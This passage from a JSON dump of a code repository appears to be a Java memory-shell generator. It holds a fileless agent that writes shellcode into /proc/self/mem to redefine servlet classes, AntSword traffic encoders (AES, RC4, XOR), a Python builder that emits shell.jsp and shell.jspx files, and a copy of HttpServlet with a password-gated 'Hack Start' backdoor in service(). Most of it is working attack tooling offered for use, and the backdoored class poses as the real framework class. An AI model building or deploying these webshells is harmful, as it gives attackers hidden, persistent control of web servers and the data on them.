addr_range = splits[0].split(\"-\");\n                libbase = Long.parseLong(addr_range[0], 16);\n                elfpath = splits[splits.length - 1];\n                JNI_GetCreatedJavaVMs = find_symbol(elfpath, \"JNI_GetCreatedJavaVMs\", libbase);\n            }}\n\n            if (JNI_GetCreatedJavaVMs != 0L && RandomAccessFile_length != 0L) {{\n                break;\n            }}\n        }}\n\n        fin.close();\n        RandomAccessFile fout = new RandomAccessFile(\"/proc/self/mem\", \"rw\");\n        byte[] stack_align = new byte[]{{85, 72, -119, -27, 72, -57, -64, 15, 0, 0, 0, 72, -9, -48}};\n        byte[] movabs_rax = new byte[]{{72, -72}};\n        ByteBuffer buffer = ByteBuffer.allocate(8);\n        buffer.order(ByteOrder.LITTLE_ENDIAN);\n        buffer.putLong(0, JNI_GetCreatedJavaVMs);\n        byte[] b = new byte[]{{72, -125, -20, 64, 72, 49, -10, 72, -1, -58, 72, -115, 84, 36, 4, 72, -115, 124, 36, 8, -1, -48, 72, -117, 124, 36, 8, 72, -115, 116, 36, 16, -70, 0, 2, 1, 48, 72, -117, 7, -1, 80, 48, 72, -117, 68, 36, 16, 72, -125, -60, 64, -55, -61}};\n        int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length;\n        byte[] backup = new byte[shellcode_len];\n        fout.seek(RandomAccessFile_length);\n        fout.read(backup);\n        fout.seek(RandomAccessFile_length);\n        fout.write(stack_align);\n        fout.write(movabs_rax);\n        fout.write(buffer.array());\n        fout.write(b);\n        fout.close();\n        long native_jvmtienv = fout.length();\n        fout = new RandomAccessFile(\"/proc/self/mem\", \"rw\");\n        fout.seek(RandomAccessFile_length);\n        fout.write(backup);\n        fout.close();\n\n        unsafe.putByte(native_jvmtienv + 361L, (byte)2);\n        long JPLISAgent = unsafe.allocateMemory(4096L);\n        unsafe.putLong(JPLISAgent + 8L, native_jvmtienv);\n\n        Class instrument_clazz = Class.forName(\"sun.instrument.InstrumentationImpl\");\n        Constructor constructor = instrument_clazz.getDeclaredConstructor(Long.TYPE, Boolean.TYPE, Boolean.TYPE);\n        constructor.setAccessible(true);\n        InstrumentationImpl inst = (InstrumentationImpl) constructor.newInstance(JPLISAgent, true, false);\n        ClassDefinition definition = new ClassDefinition(Class.forName(className), classByte);\n        inst.redefineClasses(new ClassDefinition[]{{definition}});\n\n        fout.getFD();\n    }}\n\n    private void redefine(String className, byte[] classByte) throws Exception {{\n        String os = System.getProperty(\"os.name\").toLowerCase();\n        if (os.indexOf(\"windows\") >= 0) {{\n            this.redefineWin(className, classByte);\n        }} else if (os.indexOf(\"mac\") < 0) {{\n            this.redefineNix(className, classByte);\n        }}\n    }}\n\n    private byte[] b64decode(String payload) {{\n        Class base64;\n        Object decoder;\n        byte[] bytes = null;\n\n        try {{\n            base64 = Class.forName(\"java.util.Base64\");\n            decoder = base64.getMethod(\"getDecoder\")\n                .invoke(base64);\n            bytes = (byte[]) decoder.getClass()\n                .getMethod(\"decode\", String.class)\n                .invoke(decoder, payload);\n        }} catch (ClassNotFoundException e) {{\n            try {{\n                base64 = Class.forName(\"sun.misc.BASE64Decoder\");\n                decoder = base64.newInstance();\n                bytes = (byte[]) decoder.getClass()\n                    .getMethod(\"decodeBuffer\", String.class)\n                    .invoke(decoder, payload);\n            }} catch (Exception ex) {{}}\n        }} catch (Exception ex) {{}}\n\n        return bytes;\n    }}\n\n    public AgentFileless() {{\n        synchronized(lock) {{\n            try {{\n                enableAttachSelf();\n                redefine(className, b64decode(classBody));\n            }} catch (Exception e){{}}\n        }}\n    }}\n\n    static {{\n        new AgentFileless();\n    }}\n}}\n\"\"\""
  },
  {
    "path": "config/environment.py",
    "content": "auto_build = False\nb64_class = False\ngenerate_script = False\n\njava_compiler_path = r\"~/jdk1.7.0_80/bin/javac\"\n\ndotnet_compiler_path = r\"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe\""
  },
  {
    "path": "extend/AntSword/encoder/aes_128_ecb_pkcs7_padding_md5.js",
    "content": "'use strict';\n\nconst path = require('path');\nvar CryptoJS = require(path.join(\n  window.antSword.remote.process.env.AS_WORKDIR, 'node_modules/crypto-js'\n));\n\nfunction aes(key, text) {\n  let buff = Buffer.alloc(16, 'a');\n  buff.write(key, 0);\n  key = buff.toString();\n  let cipher = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(key), {\n    mode: CryptoJS.mode.ECB,\n    padding: CryptoJS.pad.Pkcs7,\n  }).toString();\n  return cipher;\n}\n\nmodule.exports = (pwd, data) => {\n    let str = Buffer.from(data['_']).toString();\n    let key = CryptoJS.MD5(pwd).toString().substr(0, 16);\n    data[pwd] = Buffer.from(aes(key, str), 'binary');\n    delete data['_'];\n    return data;\n}"
  },
  {
    "path": "extend/AntSword/encoder/rc_4_sha256.js",
    "content": "'use strict';\n\nconst path = require('path');\nvar CryptoJS = require(path.join(\n    window.antSword.remote.process.env.AS_WORKDIR, 'node_modules/crypto-js'\n));\n\nfunction rc4(key, data) {\n    let pwd = key;\n    let cipher = '';\n    key = [];\n    let box = [];\n    let pwd_length = pwd.length;\n    let data_length = data.length;\n    for (var i = 0; i < 256; i++) {\n        key[i] = pwd[i % pwd_length].charCodeAt();\n        box[i] = i;\n    }\n    for (var j = i = 0; i < 256; i++) {\n        j = (j + box[i] + key[i]) % 256;\n        var tmp = box[i];\n        box[i] = box[j];\n        box[j] = tmp;\n    }\n    for (var a = j = i = 0; i < data_length; i++) {\n        a = (a + 1) % 256;\n        j = (j + box[a]) % 256;\n        tmp = box[a];\n        box[a] = box[j];\n        box[j] = tmp;\n        let k = box[((box[a] + box[j]) % 256)];\n        cipher += String.fromCharCode(data[i].charCodeAt() ^ k);\n    }\n    return cipher;\n}\n\nmodule.exports = (pwd, data) => {\n    let str = Buffer.from(data['_']).toString();\n    let key = CryptoJS.SHA256(pwd).toString();\n    data[pwd] = Buffer.from(rc4(key, str), 'binary').toString('base64');\n    delete data['_'];\n    return data;\n}"
  },
  {
    "path": "extend/AntSword/encoder/xor_md5.js",
    "content": "'use strict';\n\nconst path = require('path');\nvar CryptoJS = require(path.join(\n    window.antSword.remote.process.env.AS_WORKDIR, 'node_modules/crypto-js'\n));\n\nfunction xor(pwd, data) {\n  let key = pwd.split(\"\").map((t) => t.charCodeAt(0));\n  let cipher = data.split(\"\").map((t) => t.charCodeAt(0));\n  for (let i = 0; i < cipher.length; i++) {\n    cipher[i] = cipher[i] ^ key[i + 1 & 15];\n  }\n  cipher = cipher.map((t) => String.fromCharCode(t)).join(\"\");\n  return cipher;\n}\n\nmodule.exports = (pwd, data) => {\n  let str = Buffer.from(data['_']).toString();\n  let key = CryptoJS.MD5(pwd).toString().substr(0, 16);\n  data[pwd] = Buffer.from(xor(key, str), 'binary').toString('base64');\n  delete data['_'];\n  return data;\n}"
  },
  {
    "path": "generator.py",
    "content": "#!/usr/bin/env python3\n\nimport base64\nfrom importlib import import_module\nimport subprocess\nimport sys\nfrom time import sleep\n\nfrom config.dependency import *\nfrom config.environment import *\n\n\nLOGO = r\"\"\"\n _____ ______    ________   _____ ______    ________   ________\n|\\   _ \\  _   \\ |\\   ____\\ |\\   _ \\  _   \\ |\\   __  \\ |\\   __  \\\n\\ \\  \\\\\\__\\ \\  \\\\ \\  \\___|_\\ \\  \\\\\\__\\ \\  \\\\ \\  \\|\\  \\\\ \\  \\|\\  \\\n \\ \\  \\\\|__| \\  \\\\ \\_____  \\\\ \\  \\\\|__| \\  \\\\ \\   __  \\\\ \\   ____\\\n  \\ \\  \\    \\ \\  \\\\|____|\\  \\\\ \\  \\    \\ \\  \\\\ \\  \\ \\  \\\\ \\  \\___|\n   \\ \\__\\    \\ \\__\\ ____\\_\\  \\\\ \\__\\    \\ \\__\\\\ \\__\\ \\__\\\\ \\__\\\n    \\|__|     \\|__||\\_________\\\\|__|     \\|__| \\|__|\\|__| \\|__|\n                   \\|_________|\n\"\"\"\n\ndef genscript(b64_str):\n    jsp_dst = \"target/shell.jsp\"\n    with open(jsp_dst, 'w') as f:\n        f.write(JSP_PREFIX+b64_str+JSP_POSTFIX)\n        print(f\"            {jsp_dst}\")\n\n    jspx_dst = \"target/shell.jspx\"\n    with open(jspx_dst, 'w') as f:\n        f.write(JSPX_PREFIX+b64_str+JSPX_POSTFIX)\n        print(f\"            {jspx_dst}\")\n\ndef b64file(file_name):\n    with open(file_name, \"rb\") as fb:\n        b64_str = base64.b64encode(fb.read()).decode(\"utf-8\")\n\n    if \"javax\" in file_name.lower():\n        src_dst = 'target/AgentFileless.java'\n        src = AGENTFILELESS.format(\n            className=\"javax.servlet.http.HttpServlet\", classBody=b64_str\n        )\n        with open(src_dst, 'w') as f:\n            f.write(src)\n            print(f\"            {src_dst}\")\n\n        p = subprocess.Popen(\n            f\"{java_compiler_path} -cp {JAVA_LIB_PATH} {src_dst}\",shell=True,\n            stdout=subprocess.PIPE,stderr=subprocess.STDOUT\n        )\n        sleep(1)\n\n        class_dst = f'target/AgentFileless.class'\n        print(f\"            {class_dst}\")\n\n        b64file(class_dst)\n        return\n\n    if generate_script and \"spring\" not in file_name.lower():\n        genscript(b64_str)\n\n    try:\n        pyperclip = import_module(\"pyperclip\")\n        pyperclip.copy(b64_str)\n        print(f\"---\\nBase64 copied to clipboard.\")\n    except ModuleNotFoundError:\n        print(f\"---\\n{b64_str}\")\n\ndef generator(options):\n    language_name = options[\"language\"].lower()\n    container_name = options[\"container\"].lower()\n    model_name = options[\"model\"].lower()\n    decoder_name = options[\"decoder\"].lower()\n    stub_name = options[\"stub\"].lower()\n    password = options[\"password\"]\n\n    try:\n        model = import_module(\n            f\"gist.{language_name}.container.{container_name}.{model_name}\"\n        )\n        context = import_module(\n            f\"gist.{language_name}.container.{container_name}.context.util\"\n        )\n        common = import_module(\n            f\"gist.{language_name}.common.util\"\n        )\n        decoder = import_module(\n            f\"gist.{language_name}.decoder.{decoder_name}\"\n        )\n        stub = import_module(\n            f\"gist.{language_name}.stub.{stub_name}\"\n        )\n    except ModuleNotFoundError:\n        sys.exit(\"Not supported currently, Check Your Input!\")\n\n    if model_name == \"javax\":\n        src = model.code.format(\n            decoder=decoder.proc, stub=stub.proc, password=password\n        )\n        src_dst = 'target/javax/servlet/http/HttpServlet.java'\n    else:\n        src = model.code.format(\n            common=common.code, context=context.code, decoder=decoder.code,\n            stub=stub.code, password=password\n        )\n        src_dst = f'target/{options[\"container\"]}{options[\"model\"]}.{language_name}'\n\n    with open(src_dst, 'w') as f:\n        f.write(src)\n\n    print(\n        f'\\nOutputPath: {src_dst}'\n    )\n\n    if auto_build:\n        compiler_path = eval(f\"{language_name}_compiler_path\")\n        p = subprocess.Popen(\n            f\"{compiler_path} -cp {JAVA_LIB_PATH} {src_dst}\",shell=True,\n            stdout=subprocess.PIPE,stderr=subprocess.STDOUT\n        )\n        sleep(1)\n\n        if model_name == \"javax\":\n            class_dst = 'target/javax/servlet/http/HttpServlet.class'\n        else:\n            class_dst = f'target/{options[\"container\"]}{options[\"model\"]}.class'\n        print(f\"            {class_dst}\")\n\n        if b64_class:\n            b64file(class_dst)\n\ndef get_menu(menu_dict):\n    menu_str = \"\"\n    for key in menu_dict:\n        menu_str += f\"[\\033[92m{key}\\033[0m] \"\n    return f\"{menu_str}| [Back] > \"\n\ndef main():\n    argv = sys.argv\n    next_menu_dict = MENU\n    stack_menu_list = []\n    options = {}\n    depth = 1\n\n    print(LOGO)\n\n    if len(argv) > 6:\n        options[\"language\"] = argv[1]\n        options[\"container\"] = argv[2]\n        options[\"model\"] = argv[3]\n        options[\"decoder\"] = argv[4]\n        options[\"stub\"] = argv[5]\n        options[\"password\"] = argv[6]\n        generator(options)\n        sys.exit()\n\n    while True:\n        choice = input(get_menu(next_menu_dict)).strip()\n        options[ARCH[depth]] = choice\n\n        if not choice:\n            continue\n        elif choice in next_menu_dict:\n            stack_menu_list.append(next_menu_dict)\n            next_menu_dict = next_menu_dict[choice]\n            depth += 1\n        elif choice == \"Back\":\n            if len(stack_menu_list) != 0:\n                next_menu_dict = stack_menu_list.pop()\n                depth -= 1\n            else:\n                sys.exit(\"Bye!\")\n        elif ARCH[depth] == \"password\":\n            break\n\n    generator(options)\n\n\nif __name__ == \"__main__\":\n    main()"
  },
  {
    "path": "gist/java/common/util.py",
    "content": "code = \"\"\"\n    private static Object lock = new Object();\n\n    private Field getField(Object obj, String fieldName) {\n        Class clazz;\n        Field field = null;\n        if (obj == null) {\n            return null;\n        }\n        if (obj instanceof Class) {\n            clazz = (Class) obj;\n        } else {\n            clazz = obj.getClass();\n        }\n        while (clazz != null) {\n            try {\n                field = clazz.getDeclaredField(fieldName);\n                clazz = null;\n            } catch (NoSuchFieldException e) {\n                clazz = clazz.getSuperclass();\n            }\n        }\n        if (field != null) {\n            try {\n                Field mf = Field.class.getDeclaredField(\"modifiers\");\n                mf.setAccessible(true);\n                mf.setInt(field, field.getModifiers() & ~Modifier.FINAL);\n                field.setAccessible(true);\n            } catch (Exception e) {}\n        }\n        return field;\n    }\n\n    private Object getFieldValue(Object obj, String fieldName) {\n        Field field;\n        if (obj instanceof Field) {\n            field = (Field) obj;\n        } else {\n            field = getField(obj, fieldName);\n        }\n        try {\n            return field.get(obj);\n        } catch (IllegalAccessException e) {\n            return null;\n        }\n    }\n\n    private Method getMethodX(Class clazz, String methodName, int num) {\n        Method[] methods = clazz.getDeclaredMethods();\n        for (Method method : methods) {\n            if (method.getName().equals(methodName)) {\n                if (method.getParameterTypes().length == num) {\n                    return method;\n                }\n            }\n        }\n        return null;\n    }\n\n    private Method getMethod(Class clazz, String methodName, Class... args) {\n        Method method = null;\n        while (clazz != null) {\n            try {\n                method = clazz.getDeclaredMethod(methodName, args);\n                clazz = null;\n            } catch (NoSuchMethodException e) {\n                clazz = clazz.getSuperclass();\n            }\n        }\n        return method;\n    }\n\n    private Object invokeMethod(\n        Object obj, String methodName, Object... args\n    ) {\n        ArrayList clazzs = new ArrayList();\n        if (args != null) {\n            for (int i=0; i<args.length; i++) {\n                Object arg = args[i];\n                if (arg != null) {\n                    clazzs.add(arg.getClass());\n                } else {\n                    clazzs.add(null);\n                }\n            }\n        }\n        Method method = getMethod(\n            obj.getClass(), methodName,\n            (Class[]) clazzs.toArray(new Class[]{})\n        );\n        try {\n            method.setAccessible(true);\n            return method.invoke(obj, args);\n        } catch (Exception e) {\n            return null;\n        }\n    }\n\n    private ClassLoader getLoader() {\n        return Thread.currentThread().getContextClassLoader();\n    }\n\n    private byte[] b64decode(String payload) {\n        Class base64;\n        byte[] bytes = null;\n        try {\n            base64 = Class.forName(\"java.util.Base64\");\n            bytes = (byte[]) invokeMethod(\n                getMethod(base64, \"getDecoder\").invoke(base64),\n                \"decode\", payload\n            );\n        } catch (ClassNotFoundException e) {\n            try {\n                base64 = Class.forName(\"sun.misc.BASE64Decoder\");\n                bytes = (byte[]) invokeMethod(\n                    base64.newInstance(), \"decodeBuffer\", payload\n                );\n            } catch (Exception ex) {}\n        } catch (Exception ex) {}\n        return bytes;\n    }\n\"\"\""
  },
  {
    "path": "gist/java/container/jdk/context/util.py",
    "content": ""
  },
  {
    "path": "gist/java/container/jdk/javax.py",
    "content": "code = \"\"\"\npackage javax.servlet.http;\n\nimport java.io.IOException;\nimport java.io.OutputStreamWriter;\nimport java.io.PrintWriter;\nimport java.io.UnsupportedEncodingException;\nimport java.io.Writer;\nimport java.lang.reflect.*;\nimport java.math.BigInteger;\nimport java.text.MessageFormat;\nimport java.util.*;\n\nimport javax.servlet.AsyncEvent;\nimport javax.servlet.AsyncListener;\nimport javax.servlet.DispatcherType;\nimport javax.servlet.GenericServlet;\nimport javax.servlet.ServletException;\nimport javax.servlet.ServletOutputStream;\nimport javax.servlet.ServletRequest;\nimport javax.servlet.ServletResponse;\nimport javax.servlet.WriteListener;\n\n\npublic abstract class HttpServlet extends GenericServlet {{\n\n    private static final long serialVersionUID = 1L;\n\n    private static final String METHOD_DELETE = \"DELETE\";\n    private static final String METHOD_HEAD = \"HEAD\";\n    private static final String METHOD_GET = \"GET\";\n    private static final String METHOD_OPTIONS = \"OPTIONS\";\n    private static final String METHOD_POST = \"POST\";\n    private static final String METHOD_PUT = \"PUT\";\n    private static final String METHOD_TRACE = \"TRACE\";\n\n    private static final String HEADER_IFMODSINCE = \"If-Modified-Since\";\n    private static final String HEADER_LASTMOD = \"Last-Modified\";\n\n    private static final String LSTRING_FILE = \"javax.servlet.http.LocalStrings\";\n    private static final ResourceBundle lStrings = ResourceBundle.getBundle(LSTRING_FILE);\n\n\n    public HttpServlet() {{\n        // NOOP\n    }}\n\n    protected void doGet(HttpServletRequest req, HttpServletResponse resp)\n            throws ServletException, IOException\n    {{\n        String msg = lStrings.getString(\"http.method_get_not_supported\");\n        sendMethodNotAllowed(req, resp, msg);\n    }}\n\n    protected long getLastModified(HttpServletRequest req) {{\n        return -1;\n    }}\n\n    protected void doHead(HttpServletRequest req, HttpServletResponse resp)\n            throws ServletException, IOException {{\n\n        if (DispatcherType.INCLUDE.equals(req.getDispatcherType())) {{\n            doGet(req, resp);\n        }} else {{\n            NoBodyResponse response = new NoBodyResponse(resp);\n            doGet(req, response);\n            if (req.isAsyncStarted()) {{\n                req.getAsyncContext().addListener(new NoBodyAsyncContextListener(response));\n            }} else {{\n                response.setContentLength();\n            }}\n        }}\n    }}\n\n    protected void doPost(HttpServletRequest req, HttpServletResponse resp)\n            throws ServletException, IOException {{\n\n        String msg = lStrings.getString(\"http.method_post_not_supported\");\n        sendMethodNotAllowed(req, resp, msg);\n    }}\n\n    protected void doPut(HttpServletRequest req, HttpServletResponse resp)\n            throws ServletException, IOException {{\n\n        String msg = lStrings.getString(\"http.method_put_not_supported\");\n        sendMethodNotAllowed(req, resp, msg);\n    }}\n\n    protected void doDelete(HttpServletRequest req,\n                            HttpServletResponse resp)\n            throws ServletException, IOException {{\n\n        String msg = lStrings.getString(\"http.method_delete_not_supported\");\n        sendMethodNotAllowed(req, resp, msg);\n    }}\n\n\n    private void sendMethodNotAllowed(HttpServletRequest req, HttpServletResponse resp, String msg) throws IOException {{\n        String protocol = req.getProtocol();\n        // Note: Tomcat reports \"\" for HTTP/0.9 although some implementations\n        //       may report HTTP/0.9\n        if (protocol.length() == 0 || protocol.endsWith(\"0.9\") || protocol.endsWith(\"1.0\")) {{\n            resp.sendError(HttpServletResponse.SC_BAD_REQUEST, msg);\n        }} else {{\n            resp.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, msg);\n        }}\n    }}\n\n    private static Method[] getAllDeclaredMethods(Class<?> c) {{\n\n        if (c.equals(javax.servlet.http.HttpServlet.class)) {{\n            return null;\n        }}\n\n        Method[] parentMethods = getAllDeclaredMethods(c.getSuperclass());\n        Method[] thisMethods = c.getDeclaredMethods();\n\n        if ((parentMethods != null) && (parentMethods.length > 0)) {{\n            Method[] allMethods = new Method[parentMethods.length + thisMethods.length];\n            System.arraycopy(parentMethods, 0, allMethods, 0, parentMethods.length);\n            System.arraycopy(thisMethods, 0, allMethods, parentMethods.length, thisMethods.length);\n            thisMethods = allMethods;\n        }}\n\n        return thisMethods;\n    }}\n\n    protected void doOptions(HttpServletRequest req,\n                             HttpServletResponse resp)\n            throws ServletException, IOException {{\n\n        Method[] methods = getAllDeclaredMethods(this.getClass());\n\n        boolean ALLOW_GET = false;\n        boolean ALLOW_HEAD = false;\n        boolean ALLOW_POST = false;\n        boolean ALLOW_PUT = false;\n        boolean ALLOW_DELETE = false;\n        boolean ALLOW_TRACE = true;\n        boolean ALLOW_OPTIONS = true;\n\n        // Tomcat specific hack to see if TRACE is allowed\n        Class<?> clazz = null;\n        try {{\n            clazz = Class.forName(\"org.apache.catalina.connector.RequestFacade\");\n            Method getAllowTrace = clazz.getMethod(\"getAllowTrace\", (Class<?>[]) null);\n            ALLOW_TRACE = ((Boolean) getAllowTrace.invoke(req, (Object[]) null)).booleanValue();\n        }} catch (ClassNotFoundException | NoSuchMethodException | SecurityException |\n                 IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {{\n            // Ignore. Not running on Tomcat. TRACE is always allowed.\n        }}\n        // End of Tomcat specific hack\n\n        for (int i=0; i<methods.length; i++) {{\n            Method m = methods[i];\n\n            if (m.getName().equals(\"doGet\")) {{\n                ALLOW_GET = true;\n                ALLOW_HEAD = true;\n            }}\n            if (m.getName().equals(\"doPost\")) {{\n                ALLOW_POST = true;\n            }}\n            if (m.getName().equals(\"doPut\")) {{\n                ALLOW_PUT = true;\n            }}\n            if (m.getName().equals(\"doDelete\")) {{\n                ALLOW_DELETE = true;\n            }}\n        }}\n\n        String allow = null;\n        if (ALLOW_GET) {{\n            allow=METHOD_GET;\n        }}\n        if (ALLOW_HEAD) {{\n            if (allow==null) {{\n                allow=METHOD_HEAD;\n            }} else {{\n                allow += \", \" + METHOD_HEAD;\n            }}\n        }}\n        if (ALLOW_POST) {{\n            if (allow==null) {{\n                allow=METHOD_POST;\n            }} else {{\n                allow += \", \" + METHOD_POST;\n            }}\n        }}\n        if (ALLOW_PUT) {{\n            if (allow==null) {{\n                allow=METHOD_PUT;\n            }} else {{\n                allow += \", \" + METHOD_PUT;\n            }}\n        }}\n        if (ALLOW_DELETE) {{\n            if (allow==null) {{\n                allow=METHOD_DELETE;\n            }} else {{\n                allow += \", \" + METHOD_DELETE;\n            }}\n        }}\n        if (ALLOW_TRACE) {{\n            if (allow==null) {{\n                allow=METHOD_TRACE;\n            }} else {{\n                allow += \", \" + METHOD_TRACE;\n            }}\n        }}\n        if (ALLOW_OPTIONS) {{\n            if (allow==null) {{\n                allow=METHOD_OPTIONS;\n            }} else {{\n                allow += \", \" + METHOD_OPTIONS;\n            }}\n        }}\n\n        resp.setHeader(\"Allow\", allow);\n    }}\n\n    protected void doTrace(HttpServletRequest req, HttpServletResponse resp)\n            throws ServletException, IOException\n    {{\n\n        int responseLength;\n\n        String CRLF = \"\\\\r\\\\n\";\n        StringBuilder buffer =\n                new StringBuilder(\"TRACE \").append(req.getRequestURI()).append(\" \").append(req.getProtocol());\n\n        Enumeration<String> reqHeaderEnum = req.getHeaderNames();\n\n        while( reqHeaderEnum.hasMoreElements() ) {{\n            String headerName = reqHeaderEnum.nextElement();\n            buffer.append(CRLF).append(headerName).append(\": \")\n                    .append(req.getHeader(headerName));\n        }}\n\n        buffer.append(CRLF);\n\n        responseLength = buffer.length();\n\n        resp.setContentType(\"message/http\");\n        resp.setContentLength(responseLength);\n        ServletOutputStream out = resp.getOutputStream();\n        out.print(buffer.toString());\n        out.close();\n    }}\n\n    protected void service(HttpServletRequest req, HttpServletResponse resp)\n            throws ServletException, IOException {{\n\n        String method = req.getMethod();\n\n        if (method.equals(METHOD_GET)) {{\n            long lastModified = getLastModified(req);\n            if (lastModified == -1) {{\n                // servlet doesn't support if-modified-since, no reason\n                // to go through further expensive logic\n                doGet(req, resp);\n            }} else {{\n                long ifModifiedSince;\n                try {{\n                    ifModifiedSince = req.getDateHeader(HEADER_IFMODSINCE);\n                }} catch (IllegalArgumentException iae) {{\n                    // Invalid date header - proceed as if none was set\n                    ifModifiedSince = -1;\n                }}\n                if (ifModifiedSince < (lastModified / 1000 * 1000)) {{\n                    // If the servlet mod time is later, call doGet()\n                    // Round down to the nearest second for a proper compare\n                    // A ifModifiedSince of -1 will always be less\n                    maybeSetLastModified(resp, lastModified);\n                    doGet(req, resp);\n                }} else {{\n                    resp.setStatus(HttpServletResponse.SC_NOT_MODIFIED);\n                }}\n            }}\n\n        }} else if (method.equals(METHOD_HEAD)) {{\n            long lastModified = getLastModified(req);\n            maybeSetLastModified(resp, lastModified);\n            doHead(req, resp);\n\n        }} else if (method.equals(METHOD_POST)) {{\n            doPost(req, resp);\n\n        }} else if (method.equals(METHOD_PUT)) {{\n            doPut(req, resp);\n\n        }} else if (method.equals(METHOD_DELETE)) {{\n            doDelete(req, resp);\n\n        }} else if (method.equals(METHOD_OPTIONS)) {{\n            doOptions(req,resp);\n\n        }} else if (method.equals(METHOD_TRACE)) {{\n            doTrace(req,resp);\n\n        }} else {{\n            //\n            // Note that this means NO servlet supports whatever\n            // method was requested, anywhere on this server.\n            //\n\n            String errMsg = lStrings.getString(\"http.method_not_implemented\");\n            Object[] errArgs = new Object[1];\n            errArgs[0] = method;\n            errMsg = MessageFormat.format(errMsg, errArgs);\n\n            resp.sendError(HttpServletResponse.SC_NOT_IMPLEMENTED, errMsg);\n        }}\n    }}\n\n    private void maybeSetLastModified(HttpServletResponse resp,\n                                      long lastModified) {{\n        if (resp.containsHeader(HEADER_LASTMOD)) {{\n            return;\n        }}\n        if (lastModified >= 0) {{\n            resp.setDateHeader(HEADER_LASTMOD, lastModified);\n        }}\n    }}\n\n    @Override\n    public void service(ServletRequest req, ServletResponse res)\n            throws ServletException, IOException {{\n\n        // Hack Start\n        String password = \"{password}\";\n        String payload = req.getParameter(password);\n        if (payload != null) {{ try {{\n{decoder}\n{stub}\n        }} catch (Exception e) {{}}}}\n        // Hack End\n\n        HttpServletRequest  request;\n        HttpServletResponse response;\n\n        try {{\n            request = (HttpServletRequest) req;\n            response = (HttpServletResponse) res;\n        }} catch (ClassCastException e) {{\n            throw new ServletException(lStrings.getString(\"http.non_http\"));\n        }}\n        service(request, response);\n    }}\n\n    private static class NoBodyResponse extends HttpServletResponseWrapper {{\n        private final NoBodyOutputStream noBodyOutputStream;\n        private ServletOutputStream originalOutputStream;\n        private NoBodyPrintWriter noBodyWriter;\n        private boolean didSetContentLength;\n\n        private NoBodyResponse(HttpServletResponse r) {{\n            super(r);\n            noBodyOutputStream = new NoBodyOutputStream(this);\n        }}\n\n        private void setContentLength() {{\n            if (!didSetContentLength) {{\n                if (noBodyWriter != null) {{\n                    noBodyWriter.flush();\n                }}\n                super.setContentLengthLong(noBodyOutputStream.getWrittenByteCount());\n            }}\n        }}\n\n\n        @Override\n        public void setContentLength(int len) {{\n            super.setContentLength(len);\n            didSetContentLength = true;\n        }}\n\n        @Override\n        public void setContentLengthLong(long len) {{\n            super.setContentLengthLong(len);\n            didSetContentLength = true;\n        }}\n\n        @Override\n        public void setHeader(String name, String value) {{\n            super.setHeader(name, value);\n            checkHeader(name);\n        }}\n\n        @Override\n        public void addHeader(String name, String value) {{\n            super.addHeader(name, value);\n            checkHeader(name);\n        }}\n\n        @Override\n        public void setIntHeader(String name, int value) {{\n            super.setIntHeader(name, value);\n            checkHeader(name);\n        }}\n\n        @Override\n        public void addIntHeader(String name, int value) {{\n            super.addIntHeader(name, value);\n            checkHeader(name);\n        }}\n\n        private void checkHeader(String name) {{\n            if (\"content-length\".equalsIgnoreCase(name)) {{\n                didSetContentLength = true;\n            }}\n        }}\n\n        @Override\n        public ServletOutputStream getOutputStream() throws IOException {{\n            originalOutputStream = getResponse().getOutputStream();\n            return noBodyOutputStream;\n        }}\n\n        @Override\n        public PrintWriter getWriter() throws UnsupportedEncodingException {{\n\n            if (noBodyWriter == null) {{\n                noBodyWriter = new NoBodyPrintWriter(noBodyOutputStream, getCharacterEncoding());\n            }}\n            return noBodyWriter;\n        }}\n\n        @Override\n        public void reset() {{\n            super.reset();\n            resetBuffer();\n            originalOutputStream = null;\n        }}\n\n        @Override\n        public void resetBuffer() {{\n            noBodyOutputStream.resetBuffer();\n            if (noBodyWriter != null) {{\n                noBodyWriter.resetBuffer();\n            }}\n        }}\n    }}\n\n    private static class NoBodyOutputStream extends ServletOutputStream {{\n\n        private static final String LSTRING_FILE = \"javax.servlet.http.LocalStrings\";\n        private static final ResourceBundle lStrings = ResourceBundle.getBundle(LSTRING_FILE);\n\n        private final NoBodyResponse response;\n        private boolean flushed = false;\n        private long writtenByteCount = 0;\n\n        private NoBodyOutputStream(NoBodyResponse response) {{\n            this.response = response;\n        }}\n\n        private long getWrittenByteCount() {{\n            return writtenByteCount;\n        }}\n\n        @Override\n        public void write(int b) throws IOException {{\n            writtenByteCount++;\n            checkCommit();\n        }}\n\n        @Override\n        public void write(byte buf[], int offset, int len) throws IOException {{\n            if (buf == null) {{\n                throw new NullPointerException(\n                        lStrings.getString(\"err.io.nullArray\"));\n            }}\n\n            if (offset < 0 || len < 0 || offset+len > buf.length) {{\n                String msg = lStrings.getString(\"err.io.indexOutOfBounds\");\n                Object[] msgArgs = new Object[3];\n                msgArgs[0] = Integer.valueOf(offset);\n                msgArgs[1] = Integer.valueOf(len);\n                msgArgs[2] = Integer.valueOf(buf.length);\n                msg = MessageFormat.format(msg, msgArgs);\n                throw new IndexOutOfBoundsException(msg);\n            }}\n\n            writtenByteCount += len;\n            checkCommit();\n        }}\n\n        @Override\n        public boolean isReady() {{\n            // Will always be ready as data is swallowed.\n            return true;\n        }}\n\n        @Override\n        public void setWriteListener(WriteListener listener) {{\n            response.originalOutputStream.setWriteListener(listener);\n        }}\n\n        private void checkCommit() throws IOException {{\n            if (!flushed && writtenByteCount > response.getBufferSize()) {{\n                response.flushBuffer();\n                flushed = true;\n            }}\n        }}\n\n        private void resetBuffer() {{\n            if (flushed) {{\n                throw new IllegalStateException(lStrings.getString(\"err.state.commit\"));\n            }}\n            writtenByteCount = 0;\n        }}\n    }}\n\n    private static class NoBodyPrintWriter extends PrintWriter {{\n\n        private final NoBodyOutputStream out;\n        private final String encoding;\n        private PrintWriter pw;\n\n        public NoBodyPrintWriter(NoBodyOutputStream out, String encoding) throws UnsupportedEncodingException {{\n            super(out);\n            this.out = out;\n            this.encoding = encoding;\n\n            Writer osw = new OutputStreamWriter(out, encoding);\n            pw = new PrintWriter(osw);\n        }}\n\n        private void resetBuffer() {{\n            out.resetBuffer();\n\n            Writer osw = null;\n            try {{\n                osw = new OutputStreamWriter(out, encoding);\n            }} catch (UnsupportedEncodingException e) {{\n                // Impossible.\n                // The same values were used in the constructor. If this method\n                // gets called then the constructor must have 